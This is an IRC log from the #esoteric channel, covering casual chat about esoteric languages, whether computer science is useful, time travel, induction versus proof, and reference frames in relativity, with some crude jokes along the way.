22:49:28 <alise> ping is 1.29 seconds to Gregor :D
22:49:28 <cpressey> alise: PING
22:49:36 <alise> cpressey: Uh, use CTCP ping :P
22:49:38 <MissPiggy> alise help
22:49:41 <cpressey> alise: NO
22:49:42 <alise> MissPiggy: wut
22:49:47 <alise> cpressey: :(
22:50:12 <alise> Your ping is n/a no matter how many times I tell my client to ping you :)
22:50:16 <alise> Client doesn't respond to PINGs?
22:50:51 <cpressey> alise: 4 seconds
22:50:58 <alise> Sweet
22:51:08 <alise> The log for today is loading in tiny stutters
22:51:14 <alise> This thing is shared with whoever owns the hub apparently, and i'm capped
22:51:22 <alise> But my 3g stick refused to top up, so...
22:51:41 * alise joins #ubuntu for the lulz
22:52:07 * cpressey is scared to venture anywhere besides #esoteric
22:52:10 <alise> also I /just/ managed to connect to MSN...
22:52:42 <alise> We're the nicest channel now that #haskell has gone all big.
22:52:47 <alise> Even nicer if I left :)
22:54:42 <MissPiggy> man #haskell is so fucking awful seriously
22:54:49 <MissPiggy> that channel is a pit of fail
22:55:06 <alise> Anything else to say other than the usual "Haskell sucks" stuff?
22:55:11 <MissPiggy> was
22:55:12 <alise> I realise Coq is so much better and all but please.
22:55:13 <MissPiggy> but not anymore
22:55:19 <MissPiggy> what's coq got to do with it
22:55:25 <alise> Well, you seem to like Coq. :P
22:56:03 -!- alise_ has joined.
22:56:03 -!- alise has quit (Read error: Connection reset by peer).
22:56:07 -!- alise_ has quit (Client Quit).
22:56:13 <lament> haskell sucks
22:56:28 -!- alise has joined.
22:56:41 <alise> Not the most reliable connection.
22:56:52 <alise> Could someone pastebin the last, say, 100 lines of today's log?
22:56:56 <Deewiant> MissPiggy: Is there anything you feel positively about?
22:56:57 <alise> Or, well, since I last left for a while.
22:57:01 <alise> I can't seem to load the entire log.
22:57:11 <alise> Deewiant: Negativity!
22:58:01 <MissPiggy> Deewiant I wish there was
22:58:02 -!- alise has quit (Read error: Connection reset by peer).
22:59:18 -!- alise has joined.
22:59:41 <alise> This is just ridiculous.
22:59:45 <alise> Anyone said anything?
22:59:58 <cpressey> alise: No.
23:00:11 <alise> Well that's great. Probably they did but the lag stopped me seeing it :)
23:00:17 <alise> I should just top up the damn 3g stick
23:00:21 <cpressey> And previously it was mostly very boring stuff about Befunge spec.
23:00:30 <alise> Aight.
23:00:30 -!- MigoMipo has quit (Read error: Connection reset by peer).
23:01:44 <cpressey> Oh I missed this one.
23:01:45 <cpressey> (4:55:49 PM) lament: haskell sucks
23:02:03 <cpressey> We're in top form today.
23:03:19 -!- Gracenotes has joined.
23:03:23 -!- oerjan has joined.
23:04:37 <cpressey> In other news, Wouter took free variables (and thus closures) out of Aardappel after deciding they didn't add anything to it (function values can be expressed more directly as term-rewrite rules.)
23:04:55 <cpressey> But it does have local rules.
23:05:07 <cpressey> Which is what I'm thinking about.
23:05:10 <cpressey> Anyway.
23:05:33 -!- alise has quit (Ping timeout: 240 seconds).
23:08:30 -!- alise has joined.
23:11:19 <cpressey> Aardappel doesn't treat the local rules as part of the term, though, afaict. So they can't be rewritten by other rules.
23:11:32 <alise> Topped up.
23:11:52 <cpressey> Also, I think there are only 2 levels, local and global. No nested scoping beyond that. Could be wrong though.
23:12:00 <MissPiggy> hi alise
23:14:18 -!- coppro has joined.
23:16:00 <alise> cpressey: I think deltas should modify, but not overwrite, the velocity.
23:16:17 <alise> Like, < should change (1,2) to (0,3)
23:16:22 <alise> Er, if I have my order correct
23:17:29 <cpressey> alise: I think that idea was kicked around once... so, like, >> > > > > > causes the IP to speed up to the right
23:17:42 <cpressey> Assuming it's already going right
23:17:48 <augur> accelerating >s!
23:17:55 <cpressey> Pretty much
23:18:01 <cpressey> It makes turning corners interesting
23:18:02 * augur accelerates cpressey's >
23:18:03 <alise> cpressey: Oh, I think it'd behave normally just for ^/v/</>
23:18:09 <alise> Dunno how, though
23:18:13 <alise> Just a sort of generalisation
23:18:21 <MissPiggy> hi augur
23:18:39 <augur> sups
23:18:44 <MissPiggy> im sad
23:18:55 <MissPiggy> why did I study so much computers it was a waste of time
23:19:02 <augur> :(
23:19:14 <MissPiggy> ? nobody gives a fuck if I can implement CPS conversion using delimited continuations ?
23:20:17 <MissPiggy> whine whien whien
23:20:24 <augur> :P
23:20:29 <alise> MissPiggy is having some sort of crisis where she disowns all of CS :P
23:20:34 <alise> #math is that way
23:20:38 <augur> and takes up linguistics! :D
23:20:40 <MissPiggy> #math is awful
23:20:43 <alise> math actually
23:20:45 <alise> or so she says
23:20:47 <MissPiggy> I am learning a little bit of linguistics
23:20:48 <cpressey> linguistics is awful
23:20:50 <alise> *maths
23:20:55 <alise> cpressey: augur hates you now
23:21:00 <augur> CPRESSEY YOU HOLD YOUR TONGUE
23:21:00 <augur> >O
23:21:05 <MissPiggy> I just read the intro books
23:21:17 <augur> come, my dear, let me teach you bout some linguisticd
23:21:20 <MissPiggy> yeah but alise I'm not good at math
23:21:58 <MissPiggy> http://www.youtube.com/watch?v=Lt4JZyssxOQ
23:22:21 <augur> lmfao
23:22:27 <augur> thats a horrible demonstration XD
23:24:30 <augur> his bothmer person has a bunch of stupid videos
23:24:31 <augur> lol
23:24:46 <augur> "this is nor a homomorphism: /bother burns a sheet of paper"
23:24:48 <augur> not**
23:25:26 <alise> MissPiggy: computing's cool man
23:25:57 -!- dev_squid has quit (Ping timeout: 260 seconds).
23:26:42 <cpressey> computer science is the worst
23:26:58 <cpressey> can't decide if it's math, logic, or electrical engineering
23:27:03 <MissPiggy> Today, I mostly paste libraries together. So do you, most likely, if you work in software. Doesn’t that seem anticlimactic? We did all those courses on LR grammars and concurrent software and referentially transparent functional languages. We messed about with Prolog, Lisp and APL. We studied invariants and formal preconditions and operating system theory. Now how much of that do we use? A huge part of my job these days seems to be impedence-ma
23:27:21 <cpressey> Fuck, paste libraries together? I WISH!
23:27:52 <cpressey> Modern programming is 90% troubleshooting and 10% acting like the bugs that are there don't matter.
23:28:00 <alise> oh great MissPiggy read a sub-par lol cs is not programming
23:31:08 <Deewiant> MissPiggy: impedence-ma
23:31:28 <alise> MissPiggy: look cs has a boring brother called programming
23:31:32 <alise> but mathematics doesn't even have a boring brother
23:31:52 <uorygl> Mathematics also has a boring brother called programming?
23:32:06 <Slereah> Math is nothing but the lesbian sister of biology
23:32:08 <alise> Not really :P
23:32:15 <cpressey> Mathematics has a "special" brother called CS.
23:34:08 -!- Gracenotes has quit (Ping timeout: 256 seconds).
23:35:43 <cpressey> I am a huge proponent of "Agile mathematics"
23:36:27 <Slereah> Is it the kind where you need to perform autofellatio?
23:38:41 <Gregor> ... wow.
23:41:12 <alise> XD
23:41:22 <cpressey> I don't get it.
23:42:01 <alise> Exactly.
23:44:07 <cpressey> I keep thinking it's some obscure Pair Programming reference.
23:44:10 <oerjan> the connection to mathematics seems a little weak
23:44:53 <oerjan> cpressey: that wouldn't be auto- would it.
23:46:46 <cpressey> On the other side of the coin is http://www.flounder.com/bricks.htm
23:47:25 <cpressey> i.e. Programming has a useless brother called CS
23:49:37 <MissPiggy> that was funny about the comma inside the quote
23:52:58 <alise> Whoever wrote that — ok so I haven't read it yet — has probably used quicksort. Or O(n) notations to decide on an algorithm.
23:53:00 <alise> Or... I could go on.
23:53:38 <coppro> his point is not that CS is useless
23:53:38 <cpressey> alise: OK, so the analogy isn't quite right.
23:53:53 <coppro> his point is that CS education does not train programmers
23:53:54 <alise> coppro: Yeah, seems not.
23:53:59 <cpressey> Programming as a profession has a useless brother called CS Education.
23:54:00 <alise> Or CS, in most cases.
23:54:45 <Gregor> Naw, programming is to CS as civil engineering is to physics ... the fact that civil engineers need to take physics classes doesn't mean that they're dealing directly in theoretical physics every day.
23:55:19 <MissPiggy> good analogy
23:55:34 <MissPiggy> this is all great but none of it helps me :|
23:55:51 <Gregor> What did you want to be helped with? :P
23:56:01 <MissPiggy> I don't even know :(
23:56:19 <MissPiggy> time travel is out of the question
23:56:20 <cpressey> MissPiggy needs metahelp
23:56:42 -!- augur has quit (Ping timeout: 248 seconds).
23:56:44 <uorygl> Quicksort is a fun sorting algorithm.
23:57:07 <Gregor> MissPiggy: If you're confident that you can develop the technology to travel backwards in time within your lifetime, then time travel is not out of the question. Just develop it, then send it back to your younger self, and you'll still have your entire life to do whatever else you wanted to do.
23:57:11 <uorygl> I love sorting algorithms that perform at their worst when their input is already sorted.
23:57:52 <MissPiggy> Gregor, but I don't beleive in time travel
23:58:02 <Gregor> So short-sighted :P
23:58:03 <MissPiggy> I mean, maybe it's possible to send me back in time
23:58:16 <uorygl> I imagine almost nobody believes in time travel.
23:58:30 <MissPiggy> but it would just be duplicating me, and destroying the original
23:58:37 <MissPiggy> I wouldn't actually be going through time, I'd just think I was
23:58:40 <uorygl> Not necessarily.
23:58:48 <Gregor> That's an irrelevant distinction.
23:59:00 <uorygl> I mean, what makes you think that when you walk around, you're not just duplicating yourself and destroying the original?
23:59:02 <MissPiggy> Gregor irrelevant to whom?
23:59:22 <uorygl> Whatever it is that makes you think that, it should also make you open to the idea that time travel wouldn't do that.
23:59:23 <Gregor> Irrelevant in every sense, you're existing a distinction with no physical consequences.
23:59:29 <Gregor> Erm
23:59:35 <Gregor> You're creating a distinction with no physical consequences.
2010-03-04
00:00:00 <MissPiggy> this basically disproved time travel
00:00:16 <alise> [23:58] MissPiggy: but it would just be duplicating me, and destroying the original
00:00:16 <alise> all the cells in your body are replaced etc
00:00:17 <alise> alternatively
00:00:18 <alise> samething
00:00:30 <alise> also, no it did not disprove time travel, physics did
00:00:50 <MissPiggy> anyway
00:01:13 <uorygl> The duplicating-and-destroying argument has absolutely nothing to do with disproving something that appears to be time travel.
00:01:25 <Gregor> Our current understanding of physics does not predict the physical possibility of time travel ... that is not the same as disproving it.
00:02:13 -!- BeholdMyGlory has quit (Remote host closed the connection).
00:03:36 <pikhq> The way to disprove time travel is to conclusively show that a) our knowledge of physics precludes all forms of time travel b) our knowledge of physics is entirely perfect.
00:04:00 <Gregor> The "b" part is the nonsense part :)
00:04:07 <uorygl> Well, part b) is the easy part.
00:04:19 <pikhq> ... No.
00:04:22 <uorygl> Derive all our knowledge of chemistry from our knowledge of physics.
00:04:27 <pikhq> Part b is impossible.
00:04:30 <uorygl> Boom! You've proved our knowledge of physics correct.
00:04:42 <uorygl> Part b) is about as impossible as proving that Barack Obama is the president of the United States.
00:04:43 <alise> Not /all/ of it.
00:04:44 <Gregor> uorygl: No, you've proved our knowledge of physics consistent with our knowledge of chemistry.
00:04:51 <cpressey> Or that our knowledge of chemistry is flawed
00:05:23 <pikhq> You need to demonstrate that our knowledge of physics is consistent with the universe.
00:06:02 <uorygl> Suppose we have a small set of rules that predicts a huge set of results.
00:06:03 <pikhq> In its entirety.
00:06:14 <Gregor> Which means you need to enumerate all infinity physical possibilities and bring them to pass. You need to destroy the universe by every means that the universe can be destroyed, and oh wait hm that last one was a problem.
00:06:20 <pikhq> Then it can predict those results.
00:06:25 -!- BeholdMyGlory has joined.
00:06:44 <pikhq> And we will be happy to use them to predict others. However, we have not proven those other results.
00:06:51 <pikhq> We merely assume them.
00:06:52 <uorygl> Um, let my try again.
00:08:59 <uorygl> Suppose that we have a complete theory of physics, and a huge body of data about chemistry. The body of data about chemistry is much, much larger than the theory of physics. And the complete theory of physics completely predicts that huge body of data. As long as you can be confident that no other complete theory of physics also predicts this body of data, you can be confident that the theory of physics is correct.
00:09:16 <MissPiggy> ut the data hand't been correleated in all possible ways yet
00:09:23 <MissPiggy> and eternity passed..
00:09:30 <uorygl> Why would we want to do this?
00:09:41 <uorygl> We don't care about absolute proof.
00:09:44 <MissPiggy> And it came to pass that AC learned how to reverse the direction of entropy.
00:09:48 -!- FireyFly has joined.
00:09:54 <uorygl> We care about very, very strong proof.
00:10:00 -!- FireyFly has quit (Read error: Connection reset by peer).
00:10:10 <pikhq> That's not a proof.
00:10:32 <pikhq> You have either proven something or disproven something. There are no degrees.
00:10:33 <Gregor> We care about very, very strong evidence.
00:10:41 <oerjan> uorygl: chemistry involves mainly things composed of protons, neutrons and electrons. these are composed of less than a third of the elementary particles already known to physics (electron, up and down quark)
00:10:45 <uorygl> Yes, we care about very, very strong evidence.
00:10:56 <pikhq> And it is certainly possible to have very strong evidence that something cannot happen.
00:11:04 <pikhq> This is entirely different from "proving it cannot happen".
00:11:10 <cpressey> Never mind that the physics required to explain chemical reactions bears little resemblance to the physics required to explain orbits of planets.
00:11:27 <oerjan> so chemistry only tests a small part of the fundamental theory
00:11:36 <Gregor> I, personally, feel that we have little enough evidence against time travel that even a colloquial use of the term "disprove" is wildly overzealous.
00:12:02 <coppro> we do not have any evidence against time travel generally
00:12:06 <MissPiggy> She uses the word “algebra” broadly, defining it as a “method of solving problems by honest confession of one’s ignorance”.
00:12:10 <pikhq> Gregor: Indeed.
00:12:12 <uorygl> I might argue that chemical properties are an extremely sensitive function of physical constants.
00:12:15 <uorygl> But maybe they're not.
00:12:19 <coppro> however we lack any good theory of time travel that current models would allow
00:12:20 <pikhq> We actually just plain don't know enough to rule it out.
00:12:38 <pikhq> coppro: We also lack comprehensive models.
00:12:44 <uorygl> I sort of wonder what a "proof" is if it's not just very, very strong evidence.
00:12:48 <oerjan> uorygl: it would be like claiming you knew everything about C++ from just knowing the subset in common with C
00:12:49 <coppro> of course we do
00:13:03 <coppro> if we had a comprehensive model, physics would be boring
00:13:07 <cpressey> MissPiggy: Where are you getting this from? Sounds like lit-crit mumbo-jumbo
00:13:30 <uorygl> oerjan: yes, I understand what you're saying. One of my conditions was "as long as you can be confident that no other complete theory of physics also predicts this body of data".
00:13:34 <pikhq> uorygl: See mathematical proofs.
00:13:52 <MissPiggy> cpressey, it's about the book philosophy and fun of algebra
00:13:58 <cpressey> I am confident that no other program computes THIS algorithm!
00:14:02 <uorygl> And when I say "no other complete theory of physics", I mean "no other complete theory of physics that's nearly as simple".
00:14:16 -!- alise has quit (Quit: alise).
00:14:17 <uorygl> And by "other", I mean "different", as in "predicting different things".
00:14:21 <Gregor> uorygl: "Proof" is meaningful only when something can be comprehensively reduced to something else. That is, proof is contextual. It may be possible to prove that our understanding of chemistry is consistent with our understanding of physics, but this proof gives us little, as its utility is dependent on the proof of physics, which we have nothing to reduce to.
00:14:31 <uorygl> pikhq: so are "proof" and "mathematical proof" the same thing?
00:14:41 <pikhq> If he's not back in $soon, I'll worry.
00:14:51 <cpressey> No, but Hume a few bars and I'll fake it!
00:14:56 <cpressey> /rimshot
00:15:02 <Gregor> Colloquially, "proof" just means "very strong evidence" of course, but we're talking about theoretical physics, this is not a colloquial conversation.
00:15:35 <pikhq> uorygl: In any sane formal context, yes.
00:16:11 <cpressey> Prove that the sun will come up tomorrow.
00:16:15 <pikhq> And as we all know, you can't actually prove anything about reality with math. Just something about a nice formal system.
00:16:24 <cpressey> Alternately, make yourself sick worrying that it won't.
00:16:30 <uorygl> cpressey: easy.
00:16:35 <Gregor> cpressey: I sincerely hope it won't, the physical ramifications of the sun moving in such a fashion are horrifying.
00:16:44 <coppro> no physical theory is proven
00:17:02 <uorygl> cpressey: it has come up every day for the past 1,000,000,000,000 days. We have no good reason to expect that it won't come up tomorrow. Therefore, it will come up tomorrow.
00:17:04 <Gregor> cpressey: Now, if you mean that the Earth will rotate such that from my perspective the sun's position on the horizon rises, that's a different request.
00:17:12 <MissPiggy> what about elecrtroonics
00:17:12 <pikhq> uorygl: Failure.
00:17:27 <coppro> Gregor: I argue that it does, in fact, rise
00:17:29 <Gregor> uorygl: You've been around for a trillion days? Impressive.
00:17:33 <MissPiggy> uorygl that is such a fail argument
00:17:47 <Gregor> (I'm merely poking the most obvious of holes in that argument :P )
00:17:49 <coppro> and the other planets rotate the sun as it rotates Earth
00:17:49 <pikhq> uorygl: A lack of a proof against is not a proof for.
00:17:51 <MissPiggy> induction just doesn't work that way
00:18:00 <cpressey> Well, every bird I've ever seen has been black. Therefore, all birds are black.
00:18:05 <uorygl> What do you mean, induction doesn't work that way? That's precisely how induction works.
00:18:06 <Gregor> coppro: There is no global definition of "up"
00:18:12 <MissPiggy> you build an explanation of something which doesn't have variables
00:18:12 <pikhq> uorygl: No it's not.
00:18:15 <uorygl> cpressey: you've seen 1,000,000,000,000 birds?
00:18:20 <MissPiggy> if it fits wear is
00:18:20 <uorygl> pikhq: how do you think it works, then?
00:18:22 <Gregor> coppro: Erm, "global" is a bad term to use ...
00:18:22 <MissPiggy> it*
00:18:23 <coppro> Gregor: nothing is defined globally
00:18:27 <cpressey> uorygl: You've seen 1,000,000,000,000 sunrises?
00:18:35 <coppro> one of the great things of physics
00:18:44 <cpressey> Even better: birds have two wings. Therefore, if a bird loses a wing, it's no longer a bird.
00:19:14 <MissPiggy> what *is* a bird ?
00:19:18 <cpressey> Well, it;'s not the bird it used to be, anyway.
00:19:19 <Gregor> How much of a sapiens' brain do I have to scoop out before it's no longer a sapiens? :)
00:19:27 <uorygl> Okay, here's a better argument.
00:19:33 <MissPiggy> http://www.youtube.com/watch?v=wfvEgWINUFc <-- tries to answer that question
00:19:47 <coppro> nah, the old one is fine
00:19:54 <pikhq> uorygl: I think it works by showing that some statement x in an infinite sequence is true, and that *if any statement in that infinite sequence is true*, then so is the next one.
00:19:54 <uorygl> The Sun has come up every day for the past 1,000,000 days. We have no good reason to expect it won't come up tomorrow. Therefore, it will come up tomorrow.
00:20:06 <uorygl> pikhq: that's an entirely different type of induction.
00:20:11 <MissPiggy> uorygl stop :(((((
00:20:16 <coppro> it's a perfectly valid physical theory
00:20:18 <MissPiggy> uorygl, these kind of arguments make me die inside
00:20:19 <pikhq> Oh, you mean inductive reasoning.
00:20:20 <Gregor> uorygl: You are providing a very compelling /argument/ that the sun will come up. You are NOT proving that it will.
00:20:20 <uorygl> Mathematical induction and inductive logic are not the same thing.
00:20:28 <pikhq> Which is proves nothing.
00:20:30 <MissPiggy> and calling it "induction" is just as bad
00:20:34 <coppro> no theory proves anything
00:20:42 <uorygl> MissPiggy: well, please stop dying so much.
00:20:48 <pikhq> Inductive reasoning produces a scientific theory.
00:20:52 <uorygl> Gregor: sure, define "proof" that way. I don't like that definition.
00:20:54 <coppro> the theory is consistent with observations and makes a prediction
00:20:57 <pikhq> It is not a proof by induction.
00:20:57 <MissPiggy> uorygl, it should be called the principle of probable monotony
00:21:03 <coppro> therefore is valid
00:21:03 <MissPiggy> heuristic principle of probable monotony
00:21:05 <uorygl> MissPiggy: then call it that.
00:21:06 <MissPiggy> ***
00:21:15 <oerjan> Gregor: general relativity allows you to treat any object as stationary, including the earth. see also http://xkcd.com/123/
00:21:29 <oerjan> *any one
00:21:50 <MissPiggy> uorygl, I have a distaste for the heuristic principle of probable monotony because it is a very flawed to conflate this argument with an explanation -- which leads to much deliberation an quibbling on trivial matters
00:22:13 <MissPiggy> truly it is just a suggestion that one might look for a deeper explanation
00:22:32 <coppro> oerjan: xkcd #123 doesn't actually use general relativity
00:22:34 <MissPiggy> it should not be confused with extrapolation either
00:22:36 <uorygl> Anyway, I think it's best to define proof as very, very strong evidence. There's really no practical difference between very, very strong evidence and absolute proof.
00:22:43 <coppro> which is only valid when the frame of reference is not accelerating
00:22:56 <oerjan> coppro: no, that's _special_ relativity
00:23:18 <uorygl> MissPiggy: the fact that you have a distaste for it and it leads to much quibbling over trivial matters has no bearing whatsoever on whether it forms a strong argument or not.
00:23:26 <oerjan> general relativity is all about acceleration (and its equivalent, gravity)
00:23:36 <coppro> oh wait, you're right
00:23:38 <coppro> never mind me
00:23:38 <MissPiggy> uorygl I thuoght it did
00:23:50 -!- alise_ has joined.
00:23:53 <pikhq> uorygl: "Strong argument" has a completely different notion in math and in science.
00:24:07 <pikhq> A "strong argument" in math is a proof.
00:24:23 <pikhq> A "strong argument" in science is noting that every single time you do something, the same thing happens.
00:24:28 <uorygl> MissPiggy: well, it doesn't.
00:24:44 <MissPiggy> ufhG!
00:24:50 <MissPiggy> I must defeat this argument
00:25:57 <pikhq> uorygl: In conclusion: do not invoke the word "proof" unless you are discussing formal reasoning. It is wrong.
00:26:15 <cpressey> Or hard liquor.
00:26:18 <MissPiggy> it has been shown many times that an even which seems periodic or caused by some effect must not be assumed so simply on the evidence of data but if we can build a simple theory to explain this data
00:26:27 <uorygl> pikhq: so what word am I supposed to use for very, very strong evidence that's practically identical to a proof?
00:26:30 <MissPiggy> an event*
00:26:38 <pikhq> Evidence.
00:26:54 <uorygl> "Evidence" and "very, very strong evidence that's practically identical to a proof" are not synonyms.
00:27:19 <uorygl> "Since there is evidence that you are guilty, I hereby sentence you to life in prison." Doesn't sound right.
00:27:40 * cpressey invents the word "Gwandocu" for uorygl's use.
00:27:44 <uorygl> Thank you.
00:27:59 <MissPiggy> yes!
00:28:17 <pikhq> The reasoning is "Since there is evidence beyond a reasonable doubt that you are guilty", BTW.
00:28:36 <uorygl> So, if we had a complete theory of physics, it wouldn't necessarily be difficult to come up with gwandocu that it's correct.
00:28:58 <pikhq> "Complete theory"... Could you define that term?
00:29:20 <pikhq> (I presume you mean "theory that explains all observations", but just wish to confirm)
00:29:29 <uorygl> A complete theory is a full mathematical description of everything that happens.
00:29:30 <cpressey> But you could always find people who would not be persuaded, no matter how geemorgul the gwandocu.
00:29:33 <uorygl> So yeah, that.
00:29:52 <uorygl> cpressey: indeed; we call those people irrational, and we try to make them rational so that they believe.
00:29:55 <pikhq> Okay, then. I agree with that statement.
00:30:06 <pikhq> And note that scientific discussion needs the word "gwandocu".
00:30:11 <cpressey> O jeh, o naw, o naw, o naw, o naw.
00:30:49 -!- pikhq has set topic: "Gwandocu (n): Extremely strong evidence, far beyond a reasonable doubt." | alise sighting counter currently out of order | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
00:33:48 <oerjan> clearly an ancient welsh concept
00:34:13 <pikhq> Has too many vowels.
00:34:28 <pikhq> Would need to be "Gwndycu".
00:34:55 <uorygl> You managed to not turn the easiest-to-turn-into-a-consonant vowel into a consonant.
00:35:26 <pikhq> So I was being consistent with Welsh phonology.
00:35:39 -!- alise_ has quit (Ping timeout: 252 seconds).
00:36:48 -!- augur has joined.
00:36:56 <cpressey> If I had more time, I might ask if anyone thinks it's possible to get a complete mathematical description of everything that happens without being omniscient.
00:37:18 <uorygl> I think it's probably possible.
00:37:33 <cpressey> I have no idea what's happening in the Zeta Reticuli system right now.
00:37:50 <uorygl> I have some idea of what's happening in the Zeta Reticuli system right now.
00:37:56 <cpressey> First-hand?
00:38:03 <uorygl> No.
00:38:03 <cpressey> Can I borrow your saucer?
00:38:06 <cpressey> Drat.
00:38:16 <cpressey> So, you have a guess as to what's happening there, then.
00:38:24 <uorygl> Yes, but it's a very good guess.
00:38:32 <cpressey> Well, that's hard to know.
00:38:41 <cpressey> Without a saucer and all.
00:39:33 <augur> oh man ive got some many awesome ideas for my game :D :D :D
00:39:40 <uorygl> I wonder if there's any way of verifying that at least some of our laws of physics apply to Zeta Reticuli.
00:39:56 <augur> uorygl: ofcourse there are.
00:40:23 <uorygl> I guess we can look at the spectra emitted by the stars and see that they look like black body emission spectra.
00:40:40 <uorygl> And... we really have a lot of data on them.
00:40:40 -!- alise has joined.
00:40:55 <augur> we look at Z Reticuli and can observe that the star's size matches what we'd expect from its mass, that this correlates from the expected composition which we can find from its spectra
00:41:04 <oerjan> cpressey: i think if something like wolfram's theory that the universe is generated by a small program is true, then we might eventually find it (or an equivalent program), although we would never be able to prove that it was completely accurate
00:41:29 <augur> we can find that it's shape/oblation fits its rotational period
00:41:54 <oerjan> because we could never be sure that we have measured every phenomenon to perfect precision
00:41:55 <augur> we can see that it has the same gravitational effects on surrounding stars as its mass would dictate, and that it is affected by the background gravity accordingly
00:41:57 <augur> etc etc
00:43:38 <uorygl> Of course, we might be able to find gwandocu that it's completely accurate!
00:43:51 <augur> gwandocu?
00:43:54 <cpressey> oerjan: I'll bet it's "Hello, world!"
00:44:02 <cpressey> Later, folks.
00:44:09 -!- cpressey has left (?).
00:44:18 <uorygl> Gwandocu is extremely strong evidence, far beyond a reasonable doubt.
00:44:19 <oerjan> cpressey: that seems to lack a certain necessary complexity
00:44:44 -!- FireFly has quit (Remote host closed the connection).
00:44:53 <uorygl> "Hello, world!" isn't a computer program.
00:44:57 -!- BeholdMyGlory has quit (Read error: Connection reset by peer).
00:45:23 <augur> uorygl: it is in some languages!
00:45:29 <augur> also, what language is gwandocu :|
00:45:50 <uorygl> English.
00:45:58 <pikhq> #esoteric Vernacular English.
00:46:01 <augur> oic
00:46:27 <pikhq> Etymology: pronouncable series of letters, chosen on a whim.
00:46:40 <augur> ;)
00:47:44 <oerjan> i still say it's welsh
00:48:04 <pikhq> In Welsh it's Gwndycu.
00:48:28 -!- sebbu2 has joined.
00:49:22 -!- sebbu has quit (Ping timeout: 264 seconds).
00:49:22 -!- sebbu2 has changed nick to sebbu.
00:49:26 <oerjan> pikhq: gwendolyn is a welsh name you know. it's not that far off.
00:52:47 <augur> gun-dick-oo
00:53:00 <pikhq> Yeah.
00:56:01 -!- sebbu has quit (Ping timeout: 264 seconds).
00:56:08 -!- sebbu has joined.
00:56:14 <Gregor> <oerjan> Gregor: general relativity allows you to treat any object as stationary, including the earth. see also http://xkcd.com/123/
00:56:41 <Gregor> oerjan: Well, not quite, Earth is in an accelerated frame of reference, but anyway, even so the sun most certainly does not come "up", up would be away from the Earth.
00:58:11 <augur> Gregor: the sad thing is that he gets it backwards :(
00:58:15 <oerjan> general relativity allows you to treat an accelerated frame as stationary ;D
00:58:18 <oerjan> (it
00:58:25 <oerjan> 's just a coordinate choice)
00:58:27 <augur> construct newtons laws in a rotating frame and you see there is no centrifugal force
00:58:51 <oerjan> augur: um, no?
00:58:58 <augur> oerjan: um, yes?
00:59:02 <Gregor> Yeah, I'm gonna go with "um, no" on this.
01:00:37 <Gregor> oerjan: I think that everything is definable in a reference frame, but not consistent with the behavior of a stationary frame: From an accelerated frame, all other objects appear to be accelerating conversely, but with no force acting upon them. That's inconsistent.
01:00:45 <augur> unless what you mean by "get a centrifugal force" is if you calculate something based off of where the revolving object would've gone were it not kept in a circular path by a centripetal force.
01:01:22 <augur> but thats inventing a force based on what WOULD have been not what is. there is no centrifugal force that emerges from newtons laws in a rotating reference frame.
01:01:23 <oerjan> Gregor: general relativity treats that as a gravity field caused by the metric of spacetime
01:01:43 <augur> there is only a centripetal force and momentum.
01:01:55 <oerjan> augur: do you understand what "in a rotating (coordinate) frame" means?
01:02:08 <augur> yes, i do.
01:02:18 <Gregor> oerjan: Oh wait ... this is one of the properties of /general/ relativity that distinguishes it from /special/ relativity, innit? My general rel. isn't up to snuff :P
01:02:35 <oerjan> Gregor: yeah.
01:03:13 <oerjan> don't worry, mine isn't up to much more than that either. i certainly cannot calculate spacetime tensors...
01:03:41 <augur> you cant calculate kinematic vectors, nevermind spacetime tensors, apparently.
01:03:59 * oerjan swats augur -----###
01:04:08 -!- dev_squid has joined.
01:04:17 <augur> it doesnt help you that im a masochist. :P
01:05:27 <Gregor> oerjan: He's telling you to swat him again.
01:06:02 <oerjan> augur: if you turn on a centrifuge, and then describe everything happening inside from the viewpoint of a coordinate system moving _with_ the centrifuge, then clearly in that coordinate system there is an acceleration of things
01:06:16 <augur> no, there isnt.
01:07:41 -!- ruhtranayr has joined.
01:07:55 <augur> an object moving at zero velocity outside of the rotating frame will trace a circular path in the rotating frame, which is acceleration
01:08:23 <oerjan> um, yes. that's "yes, there is.", by the way
01:08:25 <augur> an object revolving at the same rate as the frame does not move in the frame, maintaining the same coordinates, thus not accelerating
01:08:56 <augur> centrifugal force is not the acceleration of the externally stable object.
01:09:05 <oerjan> augur: sheesh, we are talking about describing _ordinary_ physics from the viewpoint of a rotating frame
01:09:16 <augur> afk
01:10:01 <augur> actually, brb
01:14:09 -!- MissPiggy has quit (Quit: Lost terminal).
01:14:13 -!- augur has quit (Ping timeout: 245 seconds).
01:24:38 -!- MizardX has quit (Ping timeout: 258 seconds).
01:33:49 -!- dev_squid has quit (Ping timeout: 264 seconds).
01:35:26 <pikhq> I wrote a BF interpreter in C. Why did I write a BF interpreter in C?
01:35:48 * pikhq tries to trace back to the start of the reasoning...
01:36:02 -!- dev_squid has joined.
01:36:22 <pikhq> Oh, right. I had tried in the past (ages ago) and failed horribly. Somehow I went from there to "I should write one."
01:36:52 <pikhq> http://sprunge.us/LBeW
01:36:57 <pikhq> Least useful program I've written in ages.
01:40:13 <pikhq> Also probably the cleanest C I've written this year. :P
01:51:51 <alise> Meanwhile, I present the ugliest car ever created: http://www.carsweb.cz/hatt/novinky/golba/golba_1.jpg
01:56:18 -!- SimonRC has quit (Ping timeout: 265 seconds).
01:56:32 <pikhq> Dear God. It is ugly.
01:59:03 <Gregor> I'm not sure what to say.
01:59:20 <Gregor> Depending on your perspective, it either has tits or testicles.
02:05:53 -!- SimonRC has joined.
02:07:03 <alise> :D
02:07:11 <Gregor> I was going for alliteration there, but in retrospect, "boobs or balls" would have worked better.
02:13:23 -!- jcp has joined.
02:17:04 -!- Sgeo_ has changed nick to Sgeo.
02:26:26 <alise> "The result was speedy no consensus." —Articles for Deletion
02:27:22 <oerjan> who says wikipedia isn't efficient
02:36:13 <Gregor> alise: lol
02:36:21 <Gregor> That ... what?
02:36:34 <alise> http://en.wikipedia.org/wiki/Wikipedia:Articles_for_deletion/Dwm_(2nd_nomination)
02:36:43 -!- coppro has quit (Remote host closed the connection).
02:36:47 <dev_squid> Guys/
02:36:49 <dev_squid> *Guys.
02:36:52 <dev_squid> Hello.
02:39:26 <dev_squid> Are there any programs out there that would let be experiment with computer circuitry and logic gates and stuff like that?
02:39:54 -!- coppro has joined.
02:40:08 -!- alise has quit (Quit: alise).
02:40:28 -!- sebbu has quit (Ping timeout: 245 seconds).
02:41:15 -!- sebbu has joined.
